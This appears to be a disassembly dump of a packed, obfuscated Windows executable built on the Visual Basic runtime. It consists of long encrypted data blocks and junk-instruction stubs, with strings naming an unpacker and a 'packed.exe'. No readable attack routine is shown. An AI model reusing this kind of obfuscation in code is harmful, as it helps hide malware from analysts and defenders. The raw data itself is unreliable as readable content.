		dd 0CA983BDAh, 0B60CA078h, 154BD30Ch, 0B3E792DBh, 0F9550449h
		dd 82DCA9F0h, 0DBFDE330h, 7D4ED606h, 0EE1E28F0h, 256DBC14h
		dd 0DF000004h, 48B2E699h, 0F8025607h, 748EDA7Bh, 0FA005405h
		dd 298FDB78h, 0FB98DAA8h, 722155AFh, 0FFA0DC26h, 7D1C51ABh
		dd 0A3118329h, 1D469FC9h, 6D19B03Ch, 0E71D49E8h, 8736A56Eh
		dd 872B472Bh, 3DE017D9h, 585EFD91h, 0A03A6415h,	56671A12h
		dd 56F56D17h, 0E4105EF6h, 0A7F39ED7h, 0E396513h, 369134h
		dd 6EC80000h, 0D21C421Bh, 5A50FCA1h, 0AA09651Ah, 2B954AF8h
		dd 30A812BCh, 0E433A06Eh, 8ABC778h, 0B768945Ah,	1B9565E3h
		dd 5499116Ch, 0C90BF1A5h, 8D6BBA16h, 32000003h,	0D184F739h
		dd 5B227772h, 5428B705h, 39B12BCh, 0BC5F935Dh, 7FDF7C10h
		dd 0AF6CEF21h, 0B5D97528h, 0F97C7AD9h, 0F1FBF458h, 1BE23783h
		dd 96498B45h, 1A5C563Ah, 1AB9D579h, 216DFA48h, 58C00CD2h
		dd 0D9A4F50Ch, 0EEAA3587h, 851D06E7h, 33E215DBh, 0CEE5DF6Dh
		dd 0C0580597h, 89C9C363h, 0A4C46EAh, 8BCFC569h,	3E6044E8h
		dd 41FFAFCEh, 0AB728713h, 0E7DD6FF5h, 5A0597CEh, 0CF6A42F0h
		dd 45DD0597h, 6AD88A29h, 0FDBCFDh, 46BCE870h, 0C4CE620Fh
		dd 4DB4E091h, 0D63F613Ch, 0FFC4C375h, 0A1AD425Ah, 5A52B674h
		dd 0E2DA6836h, 55FFAD6Bh, 8E3C6ECDh, 0FB137A61h
		dd 9E41B37Dh, 80DE463Dh, 0C5690E4Eh, 0DCAA0AA9h, 0F9C357ECh
		dd 0E3EA1A54h, 167B2E15h, 3061h, 1B6E3800h, 51F51C42h
		dd 3AF23814h, 0DD6F3D9Eh, 12BC6BC6h, 75DBA079h,	17A88726h
		dd 0CFA1D77Bh, 29116C45h, 20E8F567h, 6C2E2418h,	0ECh, 8E86D35h
		dd 0BD1A99AFh, 673955ECh, 838928A9h, 6F03AF4Ah,	0F4666CCCh
		dd 0E969AE21h, 0E68A264Ah, 0A92C268Ah, 274BE86Eh, 0AD4C818Bh
		dd 31507FF9h, 50CA1757h, 2E8478CAh, 6FF71757h, 572E2319h
		dd 0AD0E9617h, 237722ABh, 508394D9h, 16D01ADh, 8855A4ADh
		dd 29EB64D6h, 69E12BDh,	875EAB52h, 6BD943D9h, 116D2791h
		dd 0A5DF7CE4h, 0CD178F7h, 0C20C52CAh, 19B7E390h, 51F2A5D7h
		dd 8C422357h, 0E3D9AF50h, 560B8047h, 0E91A2CEh,	0E6E829CDh
		dd 1F29F4Eh, 48880000h,	0B639C397h, 2AA95307h, 0B425DF8Bh
		dd 27AB5105h, 7862074h,	0C58FB7Fh, 87D380F6h, 0C58FF7Dh
		dd 86D27FF6h, 380CBE2Ch, 8B1D46A2h, 0ED6DAE07h,	7AB41A4Eh
		dd 0FDF75BF8h, 1A76DA79h, 37EA5B76h, 0FDF5DD6Dh, 6415585Eh
		dd 1A12A03Ah, 6D17570Ah, 570E56F5h, 1C421B6Eh, 0BC48B5AEh
		dd 7CD04812h, 376B822h,	384C2056h, 27BF116Ch, 9E52370Ah
		dd 298ACA82h, 6BD85D53h, 6795DB11h, 0EB88CA04h,	0C0882B47h
		dd 2E23AA38h, 9844h, 0E86D1D00h, 6BEFE549h, 0BE0C96C8h
		dd 175666C6h, 0A202A139h, 5665ABD4h, 0FAA2317h,	8D2CA15Bh
		dd 4E12821h, 0B465945Ah, 58F74517h, 0EB12BC5Eh,	0CBDE2773h
		dd 0F262ACF2h, 5AF7CD7Fh, 0D24A116Ch, 0DD7E12BEh, 0B10E3D8Fh
		dd 39A10CD0h, 8A29A967h, 5B624DEh, 2A95B536h, 32E34BE8h
		dd 104h, 0D1853ABEh, 0A5F1A42Bh, 2D791C5Fh, 0A3F7A2D7h
		dd 2E7A1959h, 5750988h,	76F80256h, 0E96B91C5h, 55986236h
		dd 0C85AF0A4h, 46A3827Ah, 0D079F51Dh, 1A4EED6Dh, 98CC6DE0h
		dd 60D039C1h, 22C5E928h, 5484EEDh, 731FBC32h, 0F1A0D5DFh
		dd 704D5CA5h, 630F9C2Eh, 0D14B12A6h, 66518963h,	6E64FC11h
		dd 88E448EDh, 64C8502Bh, 144AE76Eh, 4F49CCFDh, 48EB3603h
		dd 0B663EA10h, 65B026E8h, 872B47F6h, 0E0BEC6EBh, 0C417320Fh
		dd 92B1C767h, 5827EC03h, 4F84A19h, 77D6DAE3h, 252F83EFh
		dd 8BAF03B2h, 7976A7D5h, 33BA0173h, 8C42D886h, 0E6DEA849h
		dd 59D6DAE2h, 0D083CBC1h, 0EBB3107Ch, 91448B45h, 0F4F2513Dh
		dd 0FA41B681h, 6CC075h,	0A6AC006Ch, 7A2A8633h, 0CA0398C4h
		dd 2992406Eh, 0D07B46Bh, 114529C8h, 66EB25BFh, 7D0B67CBh
		dd 0D6DB1287h, 0CA05387h, 2C8F1760h, 5AF6A32Ah,	38Bh, 0A508D200h
		dd 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch
		dd 8A4579Bh, 8E22CF02h,	0AA65784h, 822ECF00h, 0E28952E9h
		dd 4C281h, 0EA830000h, 24148704h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	ebp, 3EF74966h
		push	eax
		mov	eax, 50CA4A4Eh
		shl	eax, 6
		or	eax, 50C104F9h
		shr	eax, 3
		and	eax, 210A08EFh
		not	eax
		xor	eax, 0C6F2E62Eh
		sub	ebp, eax
		pop	eax
		push	4541h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	1008h
		mov	[esp], ebp
		sub	dword ptr [esp], 4AE54581h
		pop	dword ptr [edx+8]
		add	dword ptr [edx+8], 4AE54581h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		dd 0F1B0DCCh, 0F03DFCB8h, 0FFC50305h, 8B7EB7E0h, 17F20C4Eh
		dd 4A72AF59h, 15DB3D01h, 6E8E5E51h, 0D5E27112h,	1B2FC34Ah
		dd 0E312B070h, 0A20A4316h, 9C92B02Dh, 5E8AC377h, 0A943E11Ah
		dd 29FEC256h, 0E8D1EE37h, 13E3A06Ch, 0CBF7EE5Ah, 7F95D612h
		dd 17DE91Ah, 5D600000h,	16C4FFEh, 0D1D76FC2h, 41EFB4CAh
		dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h,	0E495BCD7h
		dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h
		dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h
		dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch
		dd 0ACE5h, 1, 42h dup(0)
		dd 0F8000000h, 0A43736D1h, 0DED3C20Dh, 0E95D7205h, 0FA8h
		dd 0F0423A68h, 17BAE905h, 0EF68FFFBh, 0E905F042h, 0FFFB17B0h
		dd 0F0448C68h, 17A6E905h, 4268FFFBh, 0E905F045h, 0FFFB179Ch
		dd 0F0465868h, 1792E905h, 3768FFFBh, 0E905F047h, 0FFFB1788h
		dd 0F047BF68h, 177EE905h, 3568FFFBh, 0E905F048h, 0FFFB1774h
		dd 0F0494F68h, 176AE905h, 0F068FFFBh, 0E905F049h, 0FFFB1760h
		dd 0F04A9F68h, 1756E905h, 3A68FFFBh, 0E905F04Bh, 0FFFB174Ch
		dd 0F04BD668h, 1742E905h, 2C68FFFBh, 0E905F04Dh, 0FFFB1738h
		dd 0F04E7068h, 172EE905h, 3A0DFFFBh, 0B786E902h, 321B749Fh
		dd 0B09EF11Ah, 2A1C7398h, 83AEF912h, 0F41F3701h, 759EB69Bh
		dd 0F51E361Ah, 719AB29Ah, 0A48CE9D0h, 44E825CAh, 0C8B0D3E6h
		dd 5ECFDCB0h, 5438503Dh, 0E10F4737h, 759EB686h,	21585756h
		dd 1F9CB144h, 917FB7E8h, 1F9D2CF0h, 23D6F1E8h, 50DF6A7Ah
		dd 330638h, 48E50000h, 5E3B424Dh, 0E81FB7B3h, 0AE937DB5h
		dd 9A4BB76Ah, 0A8C419A9h, 1FB35FCDh, 0F0EBCCE8h, 50F9B735h
		dd 5D380138h, 0E81FAED3h, 40315D95h, 0E5h, 1C3404A3h, 6BA395F2h
		dd 0E21AE285h, 6B52310Ch, 0DDB1BD53h, 5DB6CEBEh, 358DBA34h
		dd 7A2911E2h, 4B327A92h, 8E091772h, 17DFE235h, 144FAD93h
		dd 670BB860h, 0A3DBA3CCh, 9A86E3DAh, 4EE235B3h,	7944EA86h
		dd 0B2FB2540h, 25EDE235h, 3276649h, 374E063Eh, 412D6554h
		dd 0C0881D78h, 79BDE81Fh, 71A7F58Eh, 0CD6FD8D3h, 0DCCE29C6h
		dd 0EC24F894h, 4D692407h, 740D457Dh, 0D270011h,	5128E0EEh
		dd 0F814AC68h, 62BC6CBBh, 44286098h, 0D63D5527h, 8EB7CFB9h
		dd 0CD8C3DB7h, 0EA0BC12h, 3E00000Dh, 0B7D8334Bh, 345BB0C8h
		dd 8FE00B43h, 0D6289C1h, 0BFE8033Bh, 0EE261092h, 6DA56A05h
		dd 0ED25E986h, 69A16906h, 7F1A2382h, 0E825CAB1h, 40A15B7h
		dd 9EF11A32h, 9E0DFDAEh, 32DC94ACh, 6C0F763Eh, 0A10A669Eh
		dd 294D48BEh, 19602860h, 1FB7957Ch, 6D834BE8h, 1FB7200Ch
		dd 0AF2A0DE8h, 50FDF6F6h, 968A38h, 4690000h, 95F21C34h
		dd 0E4856BA3h, 0E2358E0Ah, 8A619961h, 13FD15E5h, 2F7C4D2Eh
		dd 0D612961h, 552C6322h, 1F9B6530h, 0F3D87BE8h,	713935DBh
		dd 0B3FCB99Ah, 7661AFCAh, 0CF07EE0Ch, 0ABE3D5B6h, 255D2F40h
		dd 8C803F1Ch, 418B6CDh,	0C59h, 3E820EBh, 8E659D6Ch, 0BE018E1h
		dd 957E9664h, 13F810FAh, 21EB6944h, 0A06D02E9h,	20EC8368h
		dd 9C6C03E8h, 172E8F64h, 25CAAE72h, 0F10B2E8h, 1E02675Eh
		dd 0C2E23589h, 3305660Ah, 0AF9FF01Bh, 1BF50DFCh, 0ABB45F17h
		dd 0CBD03404h, 356AAA95h, 0E4836D25h, 0E685FC14h, 258EE21Ah
		dd 71088706h, 1F93D914h, 0A9478FE8h, 1F9464C8h,	0EBEEC9E8h
		dd 50DAB232h, 934E38h, 48AD0000h, 0A16734Dh, 0DEE23589h
		dd 260A6F16h, 3AE23589h, 0A0C3BAF2h, 5C50BED6h,	19758D7Fh
		dd 9EB44520h, 7CB4E81Fh, 0FDCCAF92h, 60CCA9C5h,	0CDE81F9Fh
		dd 0B636EFEAh, 4A3850E1h, 55h, 513D5EA9h, 1D556D52h, 615F5E71h
		dd 35891C04h, 4C04CCE2h, 91015035h, 6102E81Fh, 9D917F97h
		dd 0BE52DF1h, 1F90C26Ah, 193119E8h, 6EA690F7h, 31A4FF80h
		dd 0AE290E5Fh, 50D7F5F7h, 9FFAC338h, 0E81F8D91h, 8D49D7B2h
		dd 0D71FE81Fh, 9EEF834Bh, 13h, 8057F7Dh, 0C2060000h, 0A995444Fh
		dd 0FE8A1591h, 4840533Fh, 23B424Dh, 0F639B61h, 25C9246Ah
		dd 750CC4E8h, 5EE2616h,	846AA26Ah, 146DEEAFh, 4BCC3D50h
		dd 0A198E1A9h, 26275CC4h, 0A8C40CE8h, 3CBA891h,	452925CBh
		dd 1665ED20h, 423BF3EEh, 2BED5921h, 2F552280h, 0FC937830h
		dd 98B09F0Ch, 94AD3D1Ch, 2E668443h, 0E463457h, 0A6E7CC62h
		dd 78217625h, 9498768Eh, 882CDD10h, 2DDCB9C0h, 33F3FFD5h
		dd 20E7C2FBh, 0CC62C799h, 0ABCD0h, 85BD8800h, 23A016Eh
		dd 9DB586E9h, 1B331976h, 95AD9FF0h, 8604297Eh, 18779CB4h
		dd 9FF01B33h, 1F709BB3h, 5DFC172Fh, 0CD1F0164h,	63C1E825h
		dd 8A1A027Ch, 0EF2BE235h, 4A3C10AEh, 0D154B632h, 35705F33h
		dd 866037Ah, 0D8E826AAh, 917F977Bh, 1D3ED59Dh, 0AF96EFA0h
		dd 26AA66CAh, 36FA9FE8h, 2AE826AAh, 0DAB67EE2h,	0E9F086E3h
		dd 38F0EE16h, 11E18541h, 36AD5B28h, 3800635Ah, 0B484EB00h
		dd 5C59729Ch, 0D64F2A53h, 8AF40786h, 61023B42h,	6E0D6199h
		dd 0E28D669Eh, 6D0CE21Ah, 740786C1h, 2F565954h,	0F1A13B4Ah
		dd 0DCE52D79h, 41A754CBh, 6B0AC02h, 4600000Ah, 0DFB05B73h
		dd 5C33D8F0h, 0D7B8536Bh, 553AD1E9h, 97C02B63h,	364E38BAh
		dd 0B5CDB2DDh, 354D315Eh, 0B1C9B1DEh, 0A7C2FB5Ah, 0E825CE79h
		dd 48D2CD6Fh, 5E3B424Dh, 0E825C820h, 0B57108C0h, 11FBA3F5h
		dd 9F1B17F9h, 0D1BD9918h, 8BC38BE8h, 35915560h,	0F2F9C1Bh
		dd 7545264Ah, 1D98B35Dh, 0FC8EEB92h, 0ECEE169Ah, 0E7995D24h
		dd 0F73A4E60h, 618FC7B6h, 7049256Dh, 0F8132B13h, 816FA797h
		dd 0DDA4EBAAh, 0F0DDCEBEh, 723A36D8h, 0DA1E271Eh, 167B1618h
		dd 7DA3C613h, 63EE1762h, 0EA8FE3ABh, 0F407A163h, 0A2DAA605h
		dd 8F093EAh, 719FB79Bh,	0A921F97Dh, 0E356330h, 0FAC2AD46h
		dd 0DF4D2CC2h, 72F407BFh, 0ED251733h, 3E470F03h, 0F7FEE75Bh
		dd 6500F9F9h, 0F9F7FEBBh, 542D65ADh, 0E40F4737h, 658BC38Bh
		dd 612B4F4Eh, 9FFAC729h, 0F9F7FF91h, 9FD79F57h,	3EF383E6h
		dd 3DF5FFE8h, 20582744h, 0CCC9E24Ch, 1ADFBAC3h,	0CE05D253h
		dd 0A3403F06h, 13BDB5C6h, 8F00Fh, 51695C00h, 0AEE6D5BAh
		dd 29612A45h, 0A7DFADC2h, 2159234Ch, 32B09DCAh,	0B4DB3048h
		dd 0B648FC7h, 8BE40F47h, 0C1608BC3h, 0CF939DF8h, 0F755E825h
		dd 1C3404E8h, 6DA595F2h, 14C75C83h, 728A7013h, 758D7D1Eh
		dd 6BA36F0Ch, 4EE58985h, 66CF6361h, 71D32h, 7FFE0000h
		dd 4B7h, 54EA2F2Ch, 4C2F5659h, 162F437Bh, 1FA2EE73h, 827417E8h
		dd 0C4A8A44Ah, 2DE4D018h, 0BBAF9AE9h, 625D648h,	0FFF31D35h
		dd 0DF7CF693h, 1E9FBB2Bh, 0DF5BC5A0h, 0C50DBB2Bh, 0AA97F48Dh
		dd 0A2C7FE92h, 0C1160307h, 0D4FF11D9h, 0CAAFD6D9h, 0C703B302h
		dd 34572EE6h, 61043D44h, 0C703B2BFh, 0E44C69A1h, 84C703B2h
		dd 0F5B1C84Ch, 2E5263E0h, 8A7C1F66h, 0FC909C72h, 38503857h
		dd 94E82C01h, 0F7EB45F4h, 811h,	0DB304833h, 668DC5B4h
		dd 0E3084009h, 6D86BE8Ch, 0EB003802h, 291391BCh, 0A895FA11h
		dd 28147B90h, 0A494FB10h, 1F26876Ch, 25CFB67Ah,	1708AAE8h
		dd 0F21C3404h, 0C8DBACCFh, 2428C6FEh, 19E5826Ch, 0A6C5A9E1h
		dd 7457BCD4h, 6A0F7639h, 0E825C7EAh, 2C4F36FEh,	0A0CF245Ch
		dd 654EA0D8h, 7B1E6728h, 0EE16070Fh, 36019D1h, 437A033Bh
		dd 1606FA26h, 4A26EEEEh, 86BE8EE1h, 53D0F68h, 82F4093Ch
		dd 0F6EA44CDh, 789h, 53B8D0BBh,	0DE354D3Ch, 5BB0C8B1h
		dd 0E50E4634h, 6388C08Ah, 0B19B1934h, 301D7299h, 0B09CF318h
		dd 2C1C7398h, 675EFF14h, 25D01E02h, 7F60C2E8h, 3B424D48h
		dd 25C82C5Eh, 0B19F3CE8h, 0CBA8D199h, 2D21CF07h, 331B7841h
		dd 23B88C70h, 954BB20Ch, 0D13A723Ah, 58B6CEBEh,	47D3273h
		dd 937D9567h, 0AFCAF39Fh, 0EE0FA21Eh, 2A330AC2h, 43CD8959h
		dd 713F1EDh, 46310000h,	0C38AE50Eh, 3E0F608Bh, 0BC82ED06h
		dd 36006F84h, 8FA2F51Eh, 0E8033B0Dh, 6982BA87h,	0E9023A06h
		dd 759EB686h, 0A888EDD4h
		dd 0B8E825D1h, 3D5E051Ah, 36553951h, 14770E46h,	0D01EF27h
		dd 0E0A8CF61h, 89C1F9C3h, 0B823B867h, 0FFCEDDADh, 1CEAB50Bh
		dd 0BEF64BD3h, 0B2321DF6h, 4E326767h, 18h, 0FB13E487h
		dd 66751915h, 1E02675Eh, 0C2E23589h, 0BC7E660Ah, 2D000002h
		dd 1E02675Eh, 0C2E23589h, 8D639B61h, 20EAC981h,	17E784E8h
		dd 7B3A11FFh, 62284D34h, 0E3E825C9h, 1FFF1EDAh,	0DBEA3C6Ah
		dd 268132FEh, 8CC489E8h, 3AF26E62h, 63298A56h, 81C9C52Bh
		dd 503C5F6Ah, 47375438h, 0B486E10Fh, 1EF008F7h,	40235A12h
		dd 0A3AF4179h, 464764CFh, 4553049h, 1EE16C0h, 8E609862h
		dd 0FA32EE82h, 8B18E083h, 3648AC2h, 0E3EF0139h,	6708E3ABh
		dd 0F6917F97h, 8CB5CC04h, 16C047E9h, 0BDD119EEh, 327D3813h
		dd 0C9D72E4Bh, 4189F400h, 98315178h, 1E02ACC7h,	5F9h, 0A348804Bh
		dd 2EC5FDCCh, 0AB407841h, 35DEF6C4h, 0B358705Ah, 814BC9E4h
		dd 0CDA249h, 804C23C8h,	0FCCCA348h, 0B78E2FC4h,	25D24ED2h
		dd 0AFB012E8h, 0F21C3404h, 0A1A595h, 0EDB6414Ch, 92F51B53h
		dd 187F91A9h, 93F41A32h, 747896AEh, 0EBDD184Bh,	75F0EB70h
		dd 20582685h, 618AC2CEh, 78029054h, 0FD37F99Ch,	0E129E235h
		dd 8C79F965h, 47E71008h, 0C3AFD816h, 67B3E4E0h,	88EDD432h
		dd 0E23669A8h, 695370B8h, 74C3D51h, 0AF000000h,	1247Fh
		dd 34042C00h, 7208251Ch, 0EF41D963h, 558F3h, 0C901F400h
		dd 467E4D22h, 0C1F9C2ADh, 5F77452Ah, 0D9F1DBB4h, 0CA486532h
		dd 4C23C800h, 0C3AC477Fh, 432CC7FFh, 9A8437Bh, 0D1CB5530h
		dd 3F9DE825h, 503D5E20h, 47375438h, 937D9564h, 5E39D79Fh
		dd 0DFB8566Eh, 5037D9F1h, 61BE5068h, 960DFFFAh,	0AB93CA0Dh
		dd 95577893h, 2B3266CBh, 1Eh, 0AF7FC8h,	7F2C0000h, 0A9h
		dd 0C8C4C206h, 25D3718Fh, 3658E040h, 4880E2h, 4D487F6Ch
		dd 3B023B42h, 3588D25Eh, 325E96E2h, 25C92357h, 0E30DC5E8h
		dd 0BBC2CDC8h, 0FCEE3DEh, 3A0360EEh, 7AB26E02h,	892C3843h
		dd 71BB5CDh, 4A9h, 7398B09Bh, 0FE152D1Ch, 7B90A891h, 5EE2614h
		dd 8368A06Ah, 917BF9D4h, 10FD9279h, 907C13F8h, 0CFC9378h
		dd 87BE1FF4h, 25D33EE2h, 9F8022E8h, 3B424D48h, 1FD4EF5Eh
		dd 4039F1E8h, 84495A23h, 0E6AEA24Ch, 0D4B9640Dh, 2810E81Fh
		dd 420A6910h, 2A62290Ah, 0B982ED46h, 2EC24EAh, 0B4A8460Eh
		dd 445h, 424D48E7h, 0C92C5E3Bh,	0F43CE825h, 4FD1B48Dh
		dd 11E825C9h, 261BB5D9h, 4B5108E2h, 107C38E1h, 48317E3Fh
		dd 1012942Dh, 0A59C54EEh, 0CD88E894h, 0E5F43EDh, 3E000004h
		dd 0B7D8334Bh, 345BB0C8h, 8FE00B43h, 0D6289C1h,	0BFE8033Bh
		dd 0EE261092h, 6DA56A05h, 0ED25E986h, 69A16906h, 7F1A2382h
		dd 0E825D3B1h, 480A15B7h, 0A16734Dh, 0DEE23589h, 3B738B7Dh
		dd 5F172F18h, 0C93B4326h, 0E52DE825h, 0FA12FF9Ch, 0FCCCAF96h
		dd 78402FC4h, 0C90C1471h, 7FDCE825h, 9599778Fh,	507B95DDh
		dd 46235A55h, 0EE1607C7h, 3A523A99h, 0A0680B72h, 0D5B68368h
		dd 0DEBDD1E9h, 1338D6EEh, 4C847692h, 9FE6AEA2h,	150FFAh
		dd 2019D1F4h, 0C798E5E1h, 72CED27Ch, 0D2000003h, 2B44AFE7h
		dd 0A8C72C64h, 234CA7DFh, 0A1CE255Dh, 354BFD7h,	0A2DAAC2Eh
		dd 21592649h, 0A1D9A5CAh, 3D55254Ah, 2B4E77D6h,	0E825D405h
		dd 5E6679DBh, 891E0267h, 0AC2E235h, 1D350566h, 6CA494F3h
		dd 0E7492C15h, 0E1E23588h, 7957C9EEh, 78B02C99h, 219CBF14h
		dd 8372176Eh, 65E81FAFh, 0FA2243ADh, 23E81FAEh,	18D4D104h
		dd 0A83850F2h, 2Eh, 424D484Bh, 5A72583Bh, 0A76A0F36h, 0B9E81FB7h
		dd 7ECC0871h, 3FCFD50Bh, 0D9B8167Ah, 0E81FDB53h, 21FCFFD8h
		dd 385121A3h, 1105Dh, 3404BE00h, 395C651Ch, 0E23588F7h
		dd 0E34D21E9h, 0E39AB284h, 8971BFDAh, 0BF77E235h, 321A7DD3h
		dd 7E6013D6h, 4E6DC68Ah, 0A7AB457Dh, 53C01EFh, 359CC060h
		dd 4B68A0E2h, 0ACA04E86h, 0A3DBA3C0h, 0A1CD2148h, 4F76E235h
		dd 0C126908Bh, 6A4FE4C2h, 0E2360FC6h, 5D3E529Ah, 0D1BE556Dh
		dd 23FD1E9h, 8F619961h,	0C5C0EF83h, 51BFD7A1h, 556C155Dh
		dd 7CC24636h, 0F96C73Fh, 6E0B672Fh, 0E8202A27h,	391AF139h
		dd 9074587Ch, 0B6830324h, 0D79FD760h, 0B2BDCBAEh, 6BA3EE0Ch
		dd 7E877112h, 0FA142C1Dh, 0B34DD3F6h, 0DB13EE0Ch, 25177893h
		dd 476FD4EDh, 48E6CD8Ch, 21C54h, 255D2800h, 0A2DAA1CEh
		dd 3D552649h, 0BBD3B9D6h, 354D3F50h, 26A489DEh,	0B8D73C54h
		dd 3F50BBD3h, 0BFD03B53h, 0FD5CB7CFh, 0D67FA1C4h, 0C361E825h
		dd 4D3D5EDCh, 0F4D7DB35h, 2824CA02h, 3D552744h,	0B8F68044h
		dd 0FE825B5Dh, 66563992h, 0B6E572Eh, 0E2358B25h, 349FF33Bh
		dd 424D482Bh, 0B7B35E3Bh, 6950E81Fh, 1FB8240Ch,	600CC4E8h
		dd 19311FBCh, 0CAB3FBF7h, 81AFCAF3h, 67E81FB8h,	0B8A68AAFh
		dd 72BAE81Fh, 4BD1B01Eh, 0A2E81FB9h, 0CF076DD9h, 0C6A03F4Eh
		dd 385D608Eh, 0E82038F8h, 3D0320E8h, 915FC0C9h,	2169283Ch
		dd 0D50097CFh, 6295B2E3h, 518B29BBh, 0C4C738h, 6D0E0000h
		dd 0EE89679Fh, 509E71Fh, 432214Dh, 95F21C34h, 43C00A3h
		dd 2BC3A24Ch, 82E2358Eh, 66982BAh, 0CDF01E36h, 44AAE2AEh
		dd 8E141C79h, 1CD4E235h, 96173854h, 80056019h, 85E81F95h
		dd 9557D9BCh, 89ECE81Fh, 0E81F95A7h, 25ED71B9h,	245D9549h
		dd 28C929E0h, 274BA350h, 0A1EEAF8Ch, 956CBDD8h,	0B47CEE0Ch
		dd 0A4DCAECDh, 2020E4DDh, 0B241A7A3h, 0DBF6144h, 69A1EE0Dh
		dd 0F7C1AE05h, 0ECB3E6DFh, 60CECD8Bh, 0D87Ch, 49817400h
		dd 0C6FECDA2h, 4179422Dh, 0DFF7C5AAh, 59715B34h, 4AC8E5B2h
		dd 0CCA34880h, 432CC7FFh, 0C3AC477Fh, 8928C3FBh, 0D74BD5B0h
		dd 0BF1DE825h, 1A3204A0h, 96AE9EF1h, 3404627Dh,	0A595F21Ch
		dd 3AA29BA1h, 2D65E70Ah, 0D6A8E5C6h, 367A6DB3h,	0EF8A73E2h
		dd 0E2367A41h, 0EFA7EF27h, 0AF96AF96h, 367A66CAh, 97B27AE2h
		dd 0E2367A89h, 7A51DFBAh, 0DF17E236h, 82E78B43h, 0E826BB04h
		dd 0A5C22CE4h, 3956BDD5h, 0EAD73951h, 6688C089h, 6763066Ah
		dd 0AA40A910h, 57273EB9h, 0D3BBD43Fh, 0DAA1C2BBh, 2C404CA2h
		dd 9417E582h, 36D890A8h, 7EE71249h, 1B7E478Eh, 40A91015h
		dd 0FA2603CBh, 0EE40A90Fh, 0EA856E26h, 9FB78122h, 0DB357D71h
		dd 8C7h, 0ECDDBE00h, 4EABB8D4h,	1931045Dh, 90A890F7h, 1D35197Eh
		dd 6FA794F3h, 0FC14E681h, 4B837512h, 0C4FCC2A5h, 447C4D2Ah
		dd 0C6FECDAAh, 89570128h, 4C781E7h, 83000000h, 3C8704EFh
		dd 24248B24h, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		push	31294931h
		pop	edx
		neg	edx
		push	ebx
		mov	ebx, 34B258AAh
		shr	ebx, 4
		neg	ebx
		sub	ebx, 7D09B61Bh
		and	edx, ebx
		pop	ebx
		shl	edx, 4
		xor	edx, 0EDD205B9h
		mov	ebp, edx
		pop	edx
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	4352h
		mov	[esp], edx
		mov	edx, 8
		add	edx, eax
		mov	[edx], ebp
		pop	edx
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5562A0
; ---------------------------------------------------------------------------
		db 19h,	0FAh, 0B1h
		dd 0CF565E08h, 0F80DA368h, 961FA69h, 0F04F6DB8h, 0FFC50305h
		dd 76143DE0h, 299494Fh,	2BB5C159h, 8E479B4Eh, 0B91B3120h
		dd 0C4A28E2Dh, 6651720Dh, 8E6B2404h, 9097B250h,	0CF16190Dh
		dd 2759BD52h, 0BD7A2A0Fh, 0FB3A4D3Eh, 79323224h, 0D5D55A7Dh
		dd 4F1E1977h, 1A71955Ch, 13825A6Eh, 0DF050251h,	728D8D77h
		dd 6A05F051h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 11DC355h, 660E3CADh, 6D03EB81h
		dd 2C71BD31h, 0B70F05EAh, 0DD8D89D0h, 6A05EA0Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 2044C352h, 0F092352h, 0BD31D6BFh, 5EA3199h, 0ACD85C7h
		dd 6EAC05EAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 85C75BC3h, 5EA25F5h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 62C35040h
		dd 99F22C67h, 8005F32Fh, 0B5FFD1C8h, 5EA1BC9h, 12A9B529h
		dd 95FF05EAh, 5EA2A19h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0E2C35343h, 0ADF7E0Fh, 0FCADC123h, 6860Fh
		dd 0BD310000h, 5EA2BB9h, 95FF006Ah, 5EA1015h, 38EBC08Bh
		dd 91155164h, 290E141Dh, 0D93C2608h, 0A814671Ah, 0A16E23A9h
		dd 91F6961Eh, 0A3069DF8h, 0CF6B0CD3h, 927C437h,	747780D2h
		dd 46F2F346h, 0ABD5B1D1h, 70706B1Fh, 4FE7344Fh,	15CE9h
		dd 0E705C500h, 5C3A4377h, 6E755F6Dh, 6B636170h,	70007265h
		dd 656B6361h, 78652E64h, 65h, 3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 0Fh,	6Dh, 0D2h
		dd 1A98E97Dh, 0DC680000h, 0E905F054h, 0FFFA2B5Ah, 0F055F468h
		dd 2B50E905h, 0F668FFFAh, 0E905F056h, 0FFFA2B46h, 0F057BF68h
		dd 2B3CE905h, 0E68FFFAh, 0E905F058h, 0FFFA2B32h, 0F058B568h
		dd 2B28E905h, 0D68FFFAh, 0E905F059h, 0FFFA2B1Eh, 0F0596168h
